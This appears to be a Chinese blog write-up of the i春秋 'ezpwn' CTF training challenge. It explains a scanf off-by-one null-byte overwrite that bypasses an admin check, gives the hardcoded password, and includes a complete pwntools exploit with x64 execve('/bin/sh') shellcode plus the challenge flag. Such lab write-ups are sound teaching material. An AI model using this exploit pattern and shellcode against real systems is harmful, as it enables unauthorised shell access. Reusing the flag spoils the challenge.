i春秋-CTF青少年特训题库-ezpwn-wp

i春秋-ezpwn-wp

一、题目

平台地址:选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋

题目内容:

在这里插入图片描述

二、解题思路

老规矩查看文件属性

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

canaryNX都没开

使用ida64打开分析

main函数:

在这里插入图片描述

menu()函数:

在这里插入图片描述

Login()函数:
在这里插入图片描述

Login()函数中得到了admin登录的密码SuperSecurePassword123!,但是v5变量被置为1,不让我们进入选项1登录"1. Login as Admin"
在这里插入图片描述

到目前的思路肯定就是想办法将v5覆盖为0,从而登录上admin

根据main函数的逻辑来说,我们其实只有一个选择,也就是选项"2. Send Message to Admin"

在这里插入图片描述

而这里

__isoc99_scanf("%56s", v4);

读取我们的输入到v4中,这里我们看栈中的布局可以发现v4距离rbp的距离是rbp-0x40,v5距离rbp的距离是rbp-0x8

在这里插入图片描述

而选项2scanf刚好可以让我们输入56个字符,也就是0x40 - 0x8个字符,写入56个字符刚好到rbp-8这个地址

也就是说当输入56字节时,scanf%56s会写入56字节,并再加上一个null字节作为结束,所以会溢出到v5的第一个字节。在内存中,v4数组之后是v5,它们的地址是连续的。这样,56字节的输入将覆盖v4数组的56字节,然后在下一个字节(v5的第一个字节)写入0。这样,v5的值由原来的1变成了0

所以整个流程就是:

  1. 发送选项2,输入56字节的数据,覆盖v50

  2. 发送选项1,输入正确的密码,以admin身份登录。

  3. 发送选项4,触发Exec函数,获取shell

这里exec函数无法反编译,但是看汇编可以发现是让我们输入构造的shellcode

在这里插入图片描述

所以在我们发送4后还需要发送一串shellcode

这里可以利用pwntools自带的shellcraft.sh()来生成,也可以使用预先生成的shellcode

例如,标准的x64 shellcode如下:

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

这段shellcode对应执行execve("/bin/sh", 0, 0)

完整exp

from pwn import *

#p = process('./pwn')
p = remote('39.106.48.123',39263)

p.sendlineafter(b'> ', b'2')
payload = b'A' * 56
p.sendlineafter(b'> ', payload)

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Password: ', b'SuperSecurePassword123!')

p.sendlineafter(b'> ', b'4')

#shellcode = asm(shellcraft.sh())
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.sendlineafter(b'Shellcode: ', shellcode)
p.interactive()

三、flag

flag{f151995f-b491-4cbd-ae7c-8404a6ba4fe6}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Moonbeaut

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值